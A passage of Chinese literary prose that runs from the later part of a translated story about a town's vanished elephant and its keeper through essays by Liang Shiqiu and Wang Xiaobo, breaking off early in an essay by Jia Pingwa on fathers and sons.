　　大象之所以被本镇（即我居住的镇）领来饲养，也是因为其年老之故。镇郊的一座小动物园以经营困难为由关闭的时候，动物们都已通过动物经纪人之手转往全国各地。唯独这头象由于年纪太老而无法找到主顾，一来哪里的动物园中象的数量都绰绰有余，二来没一处动物园好事并充裕到足以接收一头似乎马上就心脏病发作死去的举步维艰的大象的程度。因此，这头象便在所有同伴荡然无存的形同废墟的动物园里无所事事地——当然也不是说它原来有什么事干——独自滞留三四个月之久。

　　无论动物园还是镇上，对此都相当头痛。动物园方面已将动物园旧址卖给了房地产商。房地商准备在此建造高层公寓，镇上也签发了开发许可证。象的处理越是长期拖而不决所付的利息越高。可是又不能把象杀掉。若是猴子或蝙蝠之类，倒也罢了。但杀一头大象太容易暴露目标。一旦真相大白，问题就非同小可。于是三方一起商量，达成了关于老年大象处置的协议。（1）象作为镇有财产免费领养；（2）收容象的设施由房地产商无偿提供；（3）饲养员工资由动物园方面负担。

　　这就是三方协议的内容。正好是一年前的事。

　　说起来，我从一开始便对“大象问题”怀有个人兴趣。大凡有关象的报道我统统剪了下来。还去旁听了镇议会讨论大象问题的会议。所以现在我才可以如此洒脱如此准确地叙述此事的发展过程。话也许有些罗嗦，但“大象问题”的处理很可能同大象失踪有相当密切的关系，还是容我记述下来为好。

　　当镇长签署了协议而即将领养大象之时，议会中以在野党为中心（在此之前我还真不知道镇议会中有什么在野党）掀起了反对运动。

　　“为什么本镇必须领养大象？”他们质问镇长。其主张可以归纳成以下几条（条条太多十分抱歉，但我以为这样容易理解）：（1）大象问题属于动物园与房地产商私营企业之间的问题，镇政府没有理由参与；（2）所需管理费、食物费太多；（3）安全问题如何解决？（4）本镇自费饲养大象的好处何在？

　　他们拉开论战架势——“饲养大象之前，下水道的整治和消防车的购置等镇政府要做的事情岂非堆积如山？”尽管措词不算尖刻，但言下之意无非是怀疑镇长同房地产有幕后交易。

　　对此，镇长的意见是这样的：（1）高层建筑群的落成在将极大幅度增加镇的税收，大象的饲养费之类自然不成问题，镇政府参与这样的项目是理所当然的；（2）象年事已高，食欲亦不很大，到于加害于人的可能性可以说等于零；（3）象一旦死亡，由房地产商作为大象饲养地提供的地皮即为镇有财产；（4）象可成为镇的象征。

　　经过长时间争辩讨论，镇上终于决定将大象领养过来。由于自古以来位于城郊住宅地带，镇上的居民大多生活较为富裕，镇财政也够雄厚。况且人们可以对领养无处可去的大象这一举措怀有好感。较之下水道和消防车，居民毕竟更容易同情大象。

　　我也赞成镇上饲养大象。出现高层建筑群固然大杀风景，但自己镇上能拥有头大象倒确实不坏。

　　砍掉山坡上的树林，把小学一座快要倒塌的体育馆移建到这里作为象舍。一直在动物园照料大象的饲养员跟过来住下。小学生们的残汤剩饭充作象饲料。于是大象被一辆拖车从封闭的动物园运到新居，在此打发余生。

　　我也参加了象舍的落成典礼。镇长面对大象发表演说（关于本镇的发展与文化设施的充实），小学生代表朗读作文（象君，祝你永远健康云云），举行了大象写生的评比展览（大象写生此后遂成为本镇小学生美术教育中一个必不可少的重要保留项目），身穿翩然飘然的连衣裙的两名妙龄女郎（算不上绝代佳人）分别给大象吃了一串香蕉。大象则几乎纹丝不动地静静忍受着这场相当乏味——起码对象来说毫无意味——的仪式的进行，以近乎麻木不仁的空漠的眼神大口小口吃着香蕉。吃罢，众人一齐拍手。

　　象右侧的后脚套了一个坚不可摧的沉重铁环。铁环连着一条十多米长的粗铁链。铁链的另一端万无一失地固定在水泥墩上。铁环和铁链一看就知道其牢不可破，大象纵然花 100 年时间使出浑身解数也全然奈何不得。

　　我不大清楚大象是否对这脚镣心怀不满。不过至少表面上它对套在自己脚上的铁链漠然置之。它总是以愣愣的眼神望着空间莫可知晓的某一点。每当阵风吹来，耳朵和白色的体毛便轻飘飘摇颤不止。

　　负责饲养大象的是位瘦小的老人。不知其准确年龄，也许 60 多岁，也许 70 有余。世上有一种人一旦越过某一临界点便不再受年龄左右，这位老人便是其一。皮肤无论冬夏都晒得又红又黑，头发又短又硬，眼睛不大。面目并没有什么明显特征，唯独向左右突出的接近圆形的耳朵使得整张脸相形见小，格外引人注目。

　　此人绝对谈不上冷淡，有人搭话肯定给予圆满回答，话也说得井井有条。若他愿意，也能表现出一副热情的样子——尽管使我觉得有几分勉强。不过原则说来，则像是位沉默寡言的孤独老人。他看上去喜欢小孩。小孩来时尽可能亲切相待，但孩子们却不大接受老人的好意。

　　接受这位饲养员好意的只有大象。他住在紧挨象舍的预制板小屋里，从早到晚形影不离地照料大象。象与饲养员相处的时间已超过 10 年，二者关系的亲密程度，只消看双方每个细微的动作和眼神，即可一目了然。饲养员如果想让呆呆站在同一地方的大象移动一下，只要站在象的旁边用手啪啪地轻拍几下它的前脚并嘀咕一句什么，大象便不堪重负似地慢慢摇摆着身体，准确移至指定位置，随即仍如刚才那样注视空间的某一点。

　　每到周末，我就去象舍细心观察这情形，但还是不能完全理解二者的交流是依据何种原理得以实现的。大象或许能听懂简单的人语（毕竟活的时间长），也可能通过拍脚方式来把握对方的意图。或者具有心灵感应那类特异功能因而懂得饲养员的所思所想也未可知。

　　一次我问老人；“您是怎样给大象下命令的呢？”老人笑笑，只回答“长时间相处的关系”，再没做更多的解释。

　　总之便是这样平安无事地过了一年，此后象突然失踪。

　　我一边喝第二杯咖啡，一边将报道再次从头研究一遍。文章写得相当奇妙，俨然福尔摩斯敲着烟斗说：“华生，快看呀，这篇报道太有趣了！”

　　此报道给人以奇妙印象的根本原因，在于可能支配写报道记者大脑的困惑与混乱。而困惑与混乱显然起因于情况的非条理性。记者力图巧妙避开条非理性来写一篇“地道的”新闻报道，但这反而将他自身的混乱与犹豫推向致命的地步。

　　例如，报道上的措词是“大象逃脱”。可是通观全篇报道，显而易见大象并非什么逃脱，而明明是“失踪”。记者将这种自我矛盾表述为“细节上仍有若干不明确之处”。我则无论如何不认为事情是可以用什么“细节”什么“不明确”这类老生常谈的字眼敷衍得了的。

　　首先，问题出在象脚上套的铁环。铁环依然上着锁剩在那里。最稳妥的推论是：饲养员用钥匙打开铁环从象脚摘下，然后又将其锁好，同象一起逃跑（当然报纸也认识到了这种可能性）。问题是饲养员手中没有钥匙。钥匙仅有两把。一把为确保安全藏于警察署的保险柜，另一把收在消防署的保险柜之中。饲养员（或其它什么人）不大可能从中偷出钥匙。纵使万一偷出，也大可不必把用过的钥匙特意送回保险柜——翌日早打开一看，两把钥匙全都好好躺在警察署和消防署的保险柜里。既然这样，那么就是说大象势必在不使用钥匙的情况下将脚从坚不可摧的铁环中拨出，而这除非用锯将象腿锯断，否则绝无可能。

　　第二个问题是出逃的途径。象舍与“象广场”围了 3 米多高的坚固栅栏。由于象的安全管理在镇议会上争论得沸沸扬扬，镇政府采取了对一头老象未免小题大做的警备措施。栅栏是用混凝土和粗铁棍做成的（费用当然由房地产商出），门口只有一个，且内侧上锁。象不可能跨过如此要塞般的栅栏跑到外面。

　　第三个问题是象的足迹。象舍后面是陡峭的山坡，象无法攀登。因此象假如真的用某种手段飞越栅栏，它也只能经前面的道路逃走。然而松软的沙土路面上没有留下任何类似象脚印的痕迹。

　　总而言之，综合分析这篇满是令人困惑和不快措词的新闻报道，根本看不出事件的结论或实质。

　　当然，自不待言，报纸也好警察也好镇长也好至少表面上都不愿意承认大象失踪这一事实。警察正以“象或许被人采取锦囊妙计早有预谋地强行掠出，或许自行逃脱”这样的判断进行侦查，并乐观地预测：“考虑到隐藏大象的困难程度，事件的解决不过是时间问题”警察还打算请求近郊的猎友会以及自卫队狙击部队出动，一起搜山。

　　镇长召开记者招待会（有关记者招待会的报道没有登在地方版，而出现在全国版的社会版面），就镇政府警备措施上的疏忽进行道歉。同时镇长又强调指出：“同全国任何一座动物园的同类设施相比，本镇的大象管理体制都毫不逊色，较之标准有力得全面得多。”还说：“这是充满恶意的、危险而且无聊的反社会行为，是绝对不能允许的！”

　　在野党的议员重复一年前的论调：“务必追究镇长同企业串通一气而将镇民轻易卷入象处理问题的政治责任。”

　　一位母亲（39 岁）以“不安的神情”说：“短时间内不能放心地让孩子去外面玩了。”

　　报纸上叙述了本镇领养大象的前后详细经过，并附有大象收容设施示意图。还介绍了大象简历，以及同象一起失踪的饲养员（渡边升，63 岁）的情况。渡边饲养员是千叶县馆山人，长期在动物园饲养哺乳动物，“由于动物知识丰富为人忠厚诚实，深得有关人员信赖”。象是 22 年前由非洲东部送来的。准确年龄无人知晓，其为人更是不得而知。

　　报道的最后，说警察正在向镇民征求有关大象任何形式的情报。我一面喝第二听啤酒，一面就此沉思片刻。终归还是决定不给警察打电话。一来我不大乐意同警察发生关系，二来我不认为警察会相信我提供的情报。向那些甚至没有认真设想过大象失踪可能性的家伙，无论说什么都是徒劳。

　　我从书架中抽出剪报集，将从报纸上剪下的关于象的报道夹在里面。随后洗了洗杯子碟子，去公司上班。

　　我从 nhk 晚上 7 时的新闻节目中看到了搜山的情况。提着装满麻醉弹大型来福枪的猎手、自卫队和警察们把附近的山一个接一个刮篦子似地搜刮一遍，好几架直升飞机在空中盘旋。虽说是山，但都位于东京郊外的住宅地边缘，不过是小山包而已。聚集如此之众，只消一天即可基本搜寻完毕，再说寻找的对象又不是矮小的杀人鬼而是巨大的非洲象，其可藏身之处自然有限。然而折腾到傍晚也没找到大象。出现在电视荧屏中的警察署长声称“仍将继续搜寻”。电视新闻的主持人总结道：“是何人如何使大象逃脱，藏于何处，其动机何在，一切都还在深深处于迷宫之中”

　　此后继续搜寻数日，大象依旧踪影皆无，当局连点蛛丝马迹也未能找到。我每天都细看报纸的报道，大凡所能见到的报道统统用剪刀裁剪下来。就连以大象事件为题材的漫画也不放过。由此之故，剪报集的容量很快到达极限，而不得不去文具店买一册新的回来。尽管拥有如此数量繁多的报道，却不包括任何一条我想知道的那类事实。报上写的全都是些驴唇不对马嘴一文不值的内容，诸如什么“依然下落不明”，什么“搜查人员深感苦恼”，什么“背后是否有秘密组织”等等。大象失踪了一周之后，这方面的报道日见减少，直至几乎销声匿迹。周刊上倒是刊载了几篇哗众取宠的报道，有的竟拉出算命先生来，不久也草草收兵了。看上去人们似乎企图将大象事件强行归为拥有不少会员的“不解之谜俱乐部”这一范畴之中。一头年老的象和一个年老的饲养员纵使从这块土地失去踪影，也不会对社会的趋势造成任何影响。地球照样单调地旋转，政治家照样发表不大可能兑现的声明，人们照样打着哈欠去公司上班，孩子们照样准备应付考试。在这周而复始无休无止的日常波浪之中，人们不可能对一头去向不明的老象永远兴致勃勃。如此一来二去，没有什么特殊变异的这几个月便像窗外行进的疲于奔命的军队一样匆匆过去。

　　我不时抽时间跑去往日的象舍，观望已无大象的大象住处。铁栅栏门上缠了好几道粗大的铁链，任凭谁都无从入内。从栅栏空隙窥视，象舍门仍被铁链缠绕着。看样子警察为了弥补无法找见大象所造成的缺憾，而对失去大象后的象舍加强了不必要的警备。四下寂寥，空无人影，唯见一群鸽子在象舍房脊上敛翅歇息。广场已无人修剪，开始长满萋萋夏草，仿佛已等得忍无可忍。象舍门上缠绕的铁链使人联想起森林中牢牢看守着已腐朽得化为废墟的王宫的巨蟒。大象离去才不过数月，这场所便蒙上了带有某种宿命意味的荒凉面影，笼罩在雨云一般令人窒息的气氛中。

　　我那次见到她，9 月都已接近尾声了。这天从早到晚雨下个不停。雨单调而又温柔细腻，是这一季节常见的雨，它将在地面打下烙印的夏日记忆一点点冲掉。所有的记忆都沿着水沟往下水道往河道流去，进入又黑又深的大海。

　　我俩是在我公司举行的产品宣传酒会上见面的。我在一家大型电机公司广告部工作，当时正负责推销为配合秋季结婚热和冬季发奖金时节而生产的系列型厨房电气用品。主要任务是同几家妇女杂志交涉，以使其刊载配合性报道。事情倒不怎么需要动脑，但须注意对方报道写得不失分寸，以尽量不让读者嗅到广告味。作为代价，我们可以在杂志上刊登广告。世上的事就是要互相扶持。

　　她是一家以年轻主妇为对象的杂志的编辑，参加酒会是为了采访——明知是为人推销的采访。我正好闲着，便以她为对象，开始讲解由意大利著名设计师设计的彩色电冰箱、咖啡机、微波炉和榨汁机。

　　“至为关键的是谐调性。”我说，“无论式样多好的东西，都必须同周围保持谐调，不然毫无意思。颜色的谐调，式样的谐调，功能的谐调——这是当今厨室最需要注意的。据调查，一天之中主妇在厨室的时间最长。对主妇来说，厨室是她的工作岗位，是书斋，是起居室。因此她们都在努力改善厨室环境，使其多少舒服一点。这与大小没有关系。无论大小，好的厨室原则都只有一个。那就是简洁性、功能性、谐调性。而本系列便是依据这一指导思想设计出来的。举例说来，请看这个烹调板……”

　　她点着头，在小笔记本上做着记录。其实她并非对这类采访特别怀有兴趣，我对烹调板也没什么偏爱，我们不过在完成各自的工作而已。

　　“看来你对厨房里的事相当熟悉。”她在我讲解完后说道。

　　“工作嘛！”我做出商业性笑容回答。“不过我倒是很喜欢做菜——这与工作无关——做的简单，但天天做。”

　　“厨房真的需要谐调性？”她问。

　　“不是厨房，是厨室。”我纠正道。“本来怎么都所谓，可公司有这样那样的规定。”

　　“对不起。那么厨室真的需要谐调性？是你个人的意见？”

　　“至于我的意见，不解掉领带是无可奉告的。”我笑着说，“不过今天算是例外。我想就厨室来说，讲究谐调性之前，应该备有若干必不可少的东西。问题是那种因素成不了商品。而在这急功近利的世界上，成不了商品的因素几乎不具有任何意义。”

　　“世界果真是急功近利的不成？”

　　我从衣袋里掏出香烟，用打火机点燃。

　　“随便说说罢了。”我说，“这样一来，很多事情就容易明白，工作也容易进行。这类似一种游戏，或曰本质上急功近利，或曰急功近利式的本质——说法五花八门。而且只有这样认为，才不至于招风惹浪，才不至于出现复杂问题。”

　　“妙趣横生的见解！”

　　“谈不上什么妙趣，人人都这样看待。”我说，“对了，有一种香槟不算很坏，如何？”

　　“谢谢，恕不客气。”

　　随后，我和她边喝香槟边海阔天空地聊起来，聊着聊着，聊出几个两人共同的熟人。不仅如此，我的妹妹同她碰巧毕业于同一所大学。我们于是以几个这样的名字为线索较为顺利地展开话题。

　　她也罢我也罢都是单身。她 26，我 31。她戴隐形眼镜，我架着普通镜片。她赞赏我领带的颜色，我夸奖她的上衣。我们谈起各自所居公寓的租金，也就工资数额和工作内容发了些牢骚。总之我们是相当亲密起来了。她是位顾盼生辉的妩媚女性，丝毫没有强加于人的味道。我站着同她在那里谈了大约 20 分钟，没有发现任何不可以对她抱有好感的理由。

　　酒会快结束时，我邀她走进同一宾馆里的酒吧，坐在那里同她继续交谈。透过酒吧巨大的窗扇，可以看见初秋的雨幕。雨依然无声无息地下着，远处街道的光亮糅合着各种各样的信息。酒吧里几乎见不到客人，潮乎乎的沉默统治着四周。她要了达伊吉莉鸡尾酒，我要的是加冰苏格兰威士忌。

　　我们一边喝着各自的杯中物，一边像多少有些亲密起来的初次见面的男女那样说着在酒吧里常说的话：大学时代，喜欢的音乐，体育，日常习惯等等。

　　接着，我提起大象。至于话题为什么突然转到大象身上，我已记不起其中关联。大概谈到某种动物，由此联上了大象。也有可能我是极其无意识地想向某人——似可与之畅所欲言的一个人——阐述我对大象失踪的看法。或者是仅仅借助酒兴也未可知。

　　话一出口，我便意识到自己提出的是现在最不适宜的话题。我不应该谈起什么大象。怎么说呢，这个话题早已成为过去。

　　于是我想马上收回话头。糟糕的是她对大象失踪事件怀有非同一般的兴致。我一说自己看过好几回大象，她便连珠炮似地发出质询：

　　“什么样的象？你认为是如何逃跑的？平时它吃什么？有没有危险？”如此不一而足。对此，我按照报纸上的口径轻描谈写地解说了一遍。看样子她从我的口气中感觉出了异乎寻常的冷淡——我从小就很不善于敷衍。

　　“象不见的时候大吃一惊吧？”她喝着第二杯达伊吉莉，若无其事地问。“一头大象居然突然失踪，肯定谁都始料未及。”

　　“是啊，或许是。”我拿起一枚碟子里的炸薯片，分成两半，吃了一半。男侍转来，另换了一个烟灰缸。

　　她饶有兴味地注视了一会我的脸。我又叼起一支香烟点燃。本来戒烟已有 3 年之久，而在大象失踪之后，又开始重操旧业。

　　“所谓或许是，就是说关于大象失踪多少有所预料？”她问。

　　“谈不上什么预料！”我笑了笑，“一天大象突然消失，这既无先例又无必然性，也不符合事理。”

　　“不过你这说法可是非常奇特，嗯？我说‘一头大象居然突然失踪，肯定谁都始料未及’，你回答‘是啊，或许是’。而一般人是绝不至于这样回答的。或者说‘一点不错’，或者说‘说不明白’。”

　　我向她含糊地点了下头，扬手叫来男侍，让他再送一杯苏格兰威士忌。等威士忌的时间里，我们暂且保持沉默。

　　“我说，我不大理解，”她用沉静的口气说，“刚才你还一直说得头头是道，在提起大象之前。可一提起大象，你说话就好像一下子变得反常。听不出你想表达什么。到底怎么回事？莫非在大象上面有什么不好启齿的地方？还是我的耳朵出了毛病呢？”

　　“你的耳朵没有毛病。”我说。

　　“那么说问题在你罗？”

　　我用手指把酒杯里的冰块拨弄得旋转不止。我喜欢听冰块相撞的声音。

　　“并未严重得要用问题这个字眼。”我说，“不足挂齿的小事。也没有什么可向别人隐瞒的，不过是因为我没有把握说透而没说罢了。如果说是奇特，也确实有点奇特。”

　　“怎么奇特？”

　　我再无退路，只好喝口威士忌，开始叙说：

　　“其中一点要指出的是，我恐怕是那头失踪大象的最后一个目击者。我见到大象是 5 月 17 日晚上 7 点左右，得知大象失踪是第二天近午时分。这段时间再没有人见过大象。因为傍晚 6 点象舍就关门了。”

　　“逻辑上不好明白。”她盯住我的眼睛，“既然象舍已经关门，你怎么还能见到大象呢？”

　　“象舍后面是一座悬崖样的小山。山是私有山，没有像样的路可走，上面只有一个地方可以从后面窥视象舍。而知道这个地方的，想必只我一人。”

　　我这一发现完全出于偶然。一个周日下午，我去后山散步迷了路。大致判断方位行走之间，碰巧走到了这个地方。那是块平地，大小可供一个睡觉。透过灌木丛空隙朝下一望，下面正是象舍的房脊。房脊稍往下一点有个相当大的通风口，从中可以清楚看到象舍里面的光景。

　　从此以后，我经常去那里观望进入象舍里边的大象，逐渐成了习惯。如果有个问何苦如此不厌其烦，我也回答不好。只是想看大象的私下表现而已，没有什么深刻的理由。

　　象舍里黑暗之时，自然看不见大象。但刚入夜时饲养员打开象舍电灯为大象做这做那，我因之得以一一看在眼里。

　　我最先注意到的，是象舍中只剩大象与饲养员时，看上要比在人前那种公开场合表现得远为亲密无间。这点只消看他们之间一个小小的举动即可一目了然。甚至使人觉得白天时间他们有意克制感情，以免被人看出彼此的亲密程度，而到单独相守的夜晚便完全无此顾虑。但这不等于说他们在象舍中有什么特殊举动。进入象舍之后，大象依然一副呆愣愣的样子，饲养员也一味地忙他作为饲养员的当务之急：用甲板刷给大象刷洗身体，归拢拉在地板上的巨大粪团，收拾其吃过的东西。尽管如此，其彼此间结下的信赖感所酿出的独特的温馨氛围不容你无动于衷。饲养员打扫完地板，大象便摇晃着身子在饲养员背部轻轻叩击几下。我很喜欢观看大象的这个动作。

　　“以前你就喜爱大象？我是说不仅仅限于这头象……”她问。

　　“是的，我想是这样。”我说，“大象这种动物身上有一种拨动我心弦的东西，很早以前就有这个感觉，原因我倒不清楚。”

　　“所以那天也同样傍晚一人登后山看象去了，是吧？”她说，“呃——5 月……”

　　“17 日，”我接道，“5 月 17 日晚上 7 点左右。那时节白天变得很长，空中还剩有一点火烧云。不过象舍里已经灯火通明。”

　　“当时象和饲养员都没有什么异常？”

　　“既可以说没有异常，又可以说有异常。我无法说得准确。因为毕竟不是相距很近。作为目击者的可靠性也可以说不是很高。”

　　“到底发生了什么？”

　　我喝了一口因冰块融化而酒味变淡的威士忌。窗外的雨仍下个不止，既不大下，又不小下，俨然一幅永远一成不变的静物画。

　　“也不是说发生了什么。”我说，“象和饲养员所作所为一如往常。扫除，吃东西，亲昵地挑逗一下，如此而已。平日也是如此。我感到不对头的只是其平衡。”

　　“平衡？”

　　“就是大小平衡，象和饲养员身体大小的比例。我觉得这种比例较之平时多少有所不同，两者之差似乎比平时缩小一些。”

　　她把视线投在自己手中的达伊吉莉杯上，静静注视良久。杯里冰块已经化了，如细小的海流试图钻进鸡尾酒的间隙中去。

　　“那么说象的身体变小了？”

　　“也许是饲养员变大了，也可能双方同时变化。”

　　“这点没告诉警察？”

　　“当然没有。”我说，“即使告诉，警察也不会相信，况且我若说出在那种时候从后山看大象，自己都难免受到怀疑。”

　　“那，比例与平时不同这点可是事实？”

　　“大概。”我说，“我只能说是大概。因为没有证据，而且我说过不止一次——我是从通风口往里窥的。不过我在同一条件下观看大象和饲养员不下数十次，我想总不至于在其大小比例上发生错觉。”

　　噢，也许眼睛有错觉。当时我好几次闭目摇头，但无论怎么看象的体积都与平时不同，的确有些缩小。以至一开始我还以为镇上搞来一头小象呢。可是又没听说过（我绝不会放过有关象的新闻）。既然如此，那么只能认为是原来的老象由于某种原因而骤然萎缩。而且仔细看去，象高兴似地抬右脚叩击地面，用多少变细的鼻子抚摸饲养员的后背。

　　那光景甚是不可思议。从通风口密切注视里面的时间里，我觉得象舍之中仿佛流动着唯独象舍才有的冷冰冰的另一种时间，并且象和饲养员似乎乐意委身于将彼此卷入——至少已卷入一部分——其中的新生体系。

　　我注视象舍的时间总共不到 30 分钟。象舍的灯比往常关得早，7 时 30 分灯便熄了，所有一切都笼罩在黑暗之中。我在那里等了一会，等待象舍的灯重新闪亮，但再未闪亮。这便是我最后一次见到大象。

　　“那么说，你是认为象就势迅速萎缩变小而从栅栏空隙逃走了？还是认为完全消失了呢？”她问。

　　“不清楚。”我说，“我只是力图多少准确地记起自己亲眼见过的场面，此外的事几乎没有考虑。眼睛获得的印象实在太强烈了，坦率地说，我恐怕根本无法从中推导出什么。”

　　以上就是我关于大象失踪说的所有的话。不出我最初所料，这些话作为刚刚相识的年轻男女交谈的话题未免过于特殊，况且其本身早已完结。说罢，两人之间出现了许久的沉默。在谈完与其他事几乎毫不相关的大象失踪的话之后，我也罢她也罢都不知再提起什么话题为好。她用手指摩挲鸡尾酒杯的边缘。我则看着杯垫上的印字。反复看了 25 遍。我还是后悔自己不该提起什么大象，这并非可以随便向任何人开诚布公那种性质的话。

　　“过去，家里养的一只猫倒是突然失踪来着，”过了好久她开口道，“不过猫的失踪和象的失踪，看来不是一回事。”

　　“是啊，从大小来说就无法相比。”我说。

　　30 分钟，我们在宾馆门口告别。她想起把伞丢在了酒吧，我乘电梯帮助她取回。伞是红褐色的，花纹很大。

　　“谢谢了！”她说。

　　“晚安。”我说。

　　此后我和她再未见面。一次就刊登广告的细节我们通过电话，那时我很想邀她一起吃饭，但终归还是作罢。用电话讲话的时间里，蓦地觉得这种事怎么都无所谓。

　　自从经历大象失踪事件以来，我时常出现这种心情。每当做点什么事情的时候，总是无法在这一行为可能带来的结果与回避这一行为所可能带来的结果之间找出二者的差异。我往往感到周围正在失去其固有的平衡。这也许是我的错觉。也许是大象事件之后自己内部的某种平衡分崩离析从而导致外部事物在我眼睛中显得奇妙反常。责任怕是在我这一方。

　　我仍然在这急功近利式的世界上依据急功近利式的记忆残片，到处推销电冰箱、电烤炉和咖啡机。我越是变得急功近利，产品越是卖得飞快。我们的产品宣传会所取得的成功甚至超过了我们不无乐观的预想。我于是得以为更多的人所接受。或许人们是在世界这个大厨室里寻求某种谐调性吧。式样的谐调，颜色的谐调，功能的谐调。

　　报纸几乎不再有大象的报道。人们对于自己镇上曾拥有一头大象这点似乎都已忘得一干二净。仿若广场上一度茂盛的杂草，业已枯萎，四周开始漾出冬的气息。

　　大象和饲养员彻底失踪，再不可能返回这里。

排骨萝卜汤

梁实秋

　　抗战时我初到重庆，暂时下榻于上清寺一位朋友家，晚饭时主人以一大钵排骨萝卜汤飨客，主人谦逊的说：“这汤不够味。我的朋友杨太太做的排骨萝卜汤才是一绝，我们无论如何也仿效不来。你去一尝便知。”杨太太也是我的熟人，过几天她邀我们几个熟人到她家去餐叙。

　　席上果然有一大钵排骨萝卜汤。揭开瓦钵盖，热气冒三尺。每人舀了一小碗。喔，真好吃。排骨酥烂而未成渣，萝卜煮透而未变泥，汤呢？热、浓、香、稠。大家都吃得直吧哒嘴。少不得人人要赞美一番，并且异口同声的向主人探询，做这一味汤有什么秘诀。加多少水，煮多少时候，用文火，用武火？主人只是咧着嘴笑，支支吾吾地说：“没什么，没什么，这种家常菜其实上不得台面，不成敬意。”客人们有一点失望，难道说这其间还有什么职业的秘密不成，你不肯说也就罢了。这时节一位心直口快的朋友开腔了，他说：“我来宣布这个烹调的秘诀吧！”大家都注意倾听，他不慌不忙地说：“道理很简单，多放排骨，少加萝卜，少加水。”也许他说的是实话，实话往往可笑。于是座上泛起了一阵轻微的笑声。主人顾左右而言他。

　　宴罢，我回到上清寺朋友家。他问我方才席上所宣布的排骨萝卜汤秘诀是否可信，我说：“不妨一试。多放排骨，少加萝卜，少加水。”当然，排骨也有成色可分，需要拣上好的，切萝卜的刀法也有讲究，大小厚薄要适度，火候不能忽略，要慢火久煨。试验结果，大成功。杨太太的拿手菜，不再是独门绝活。

　　从这一椿小事，我联想到做文章的道理。文字而掷地作金石声，固非易事，但是要做到言中有物，不令人觉得淡而无味，却是不难办到的。少说废话，这便是秘诀，和汤里少加萝卜少加水是一个道理。

京片子与民族自信心

王小波

　　我生在北京西郊大学区里。长大以后，到美国留学，想要恭维港台来的同学，就说：你国语讲得不坏！他们也很识趣，马上恭维回来：不能和你比呀。

　　北京乃是文化古都，历朝历代人文荟萃，语音也是所有中国话里最高尚的一种，海外华人佩服之至。

　　我曾在美国华文报纸上读到一篇华裔教授的大陆游记，说到他遭服务小姐数落的情形：只听得一串京片子，又急又快，字字清楚，就想起了大明湖上黑妞说书，不禁目瞪口呆，连人家说什么都没有去想——我们北京人的语音就有如此的魅力。

　　当然，教授愣完了，开始想那些话，就臊得老脸通红。

　　过去，我们北京的某些小姐（尤其是售票员）在粗话的词汇量方面，确实不亚于门头沟的老矿工——这不要紧，语音还是我们高贵。

　　但是，这已是昨日黄花。今天你打开收音机或者电视机，就会听到一串”嗯嗯啊啊”的港台腔调。港台人把国语讲成这样也会害臊，大陆的广播员却不知道害臊。

　　有一句鬼话，叫作”那么呢”，那么来那么去，显得很低智，但人人都说。我不知这是从哪儿学来的，但觉得该算到港台的帐上。再发展下去，就要学台湾小朋友，说出”好可爱好高兴噢”这样的鬼话。台湾人造的新词新话，和他们的口音有关。国语口音纯正的人学起来很难听。

　　除了广播员，说话港台化最为厉害的，当数一些女歌星。李敖先生骂老 K（国民党），说他们”手淫台湾，意淫大陆”，这个比方太过粗俗，但很有表现力。我们的一些时髦小姐糟塌自己的语音，肯定是在意淫港币和新台币——这两个地方除了货币，再没什么格外让人动心的东西。港台人说国语，经常一顿一顿，你知道是为什么吗？他们在想这话汉语该怎么说啊。他们英语讲得太多，常把中国话忘了，所以是可以原谅的。

　　我的亲侄子在美国上小学，回来讲汉语就犯这毛病。犯了我就打他屁股，打一下就好。

　　中国的歌星又不讲英文，再犯这种毛病，显得活像是大头傻子。电台请歌星做节目，播音室里该预备几个乒乓球拍子。乒乒球拍子不管用，就用擀面杖。这样一级一级往上升，我估计用不到狼牙棒，就能把这种病治好。治好了广播员，治好了歌星，就可以治其它小姐的病。如今在饭店里，听见鼻腔里哼出一句港味的”先生”，我就起鸡皮疙瘩。北京的女孩子，干嘛要用鼻甲来说话！

　　这篇文章一直在谈语音语调，但语音又不是我真正关心的问题。我关心的是，港台文化正在侵入内地。尤其是那些狗屎不如的电视连续剧，正在电视台上一集集地演着，演得中国人连中国话都说不好了。香港和台湾的确是富裕，但没有文化。咱们这里看上去没啥，但人家还是仰慕的。所谓文化，乃是历朝历代的积累。你把城墙拆了，把四合院扒了，它还在人身上保留着。除了语音，还有别的——就拿笔者来说，不过普普通通一个北方人，稍稍有点急公好义，仗义疏财，有那么一丁点燕赵古风，台湾来的教授见了就说：你们大陆同学，气概了不得……

　　我在海外的报刊上看到这样一则故事：有个前国军上校，和我们打了多年的内战；枪林弹雨都没把他打死。这一方面说明我们的火力还不够厉害，另一方面也说明这个老东西确实有两下子。改革开放之初，他巴巴地从美国跑了回来，在北京的饭店里被小姐骂了一顿，一口气上不来，脑子里崩了血筋，当场毙命。

　　就是这样可怕的故事也挡不住他们回来，他们还觉得被正庄京片子给骂死，也算是死得其所。

　　我认识几位华裔教授，常回大陆，再回到美利坚，说起大陆服务态度之坏，就扼腕叹息道：再也不回去了。隔了半年，又见他打点行装。问起来时，他却说：骂人的京片子也是很好听的呀！他们还说：骂人的小姐虽然粗鲁，人却不坏，既诚实又正直，不会看人下菜碟，专拍有钱人马屁——这倒不是谬奖。

　　八十年代初的北京小姐，就是洛克菲勒冒犯到她，也是照骂不误：“别以为有几个臭钱就能在我这儿起腻，惹急了我他妈的拿大嘴巴子贴你！”断断不会见了港客就骨髓发酥非要嫁他不可——除非是领导上交待了任务，要把他争取过来。

　　粗鲁虽然不好，民族自尊心却是好的，小姐遇上起腻者，用大嘴巴子去”贴”他，也算合理；总比用脸去贴好罢。这些事说起来也有十几年了。

　　如今北京多了很多合资饭店，里面的小姐不骂人，这几位教授却不来了。我估计是听说这里满街的鸟语，觉着回来没意思。

　　他们不来也不要紧，但我们总该留点东西，好让别人仰慕啊。

关于父子

贾平凹

　　作为男人的一生，是儿子也是父亲。前半生儿子是父亲的影子，后半生父亲是儿子的影子。

　　一个儿子酷象他的父亲，做父亲的就要得意了。世上有了一个小小的自己的复制品，时时对着欣赏，如镜中的花水中的月，这无疑比仅仅是个儿子自豪得多。我们常常遇到这样的事，一个朋友已经去世几十年了，忽一日早上又见着了他，忍不住就叫了他的名字，当然知道这是他的儿子，但能不由此而企羡起这一种生生不灭、永存于世的境界吗？

　　做父亲的都希望自己的儿子像蛇脱皮一样的始终是自己，但儿子却相当多愿意像蝉蜕壳似的裂变。一个朋友给我说，他的儿子小时侯最高兴的是让他牵着逛大街，现在才读小学三年级，就不愿意同他一块出门了，因为嫌他胖得难看。

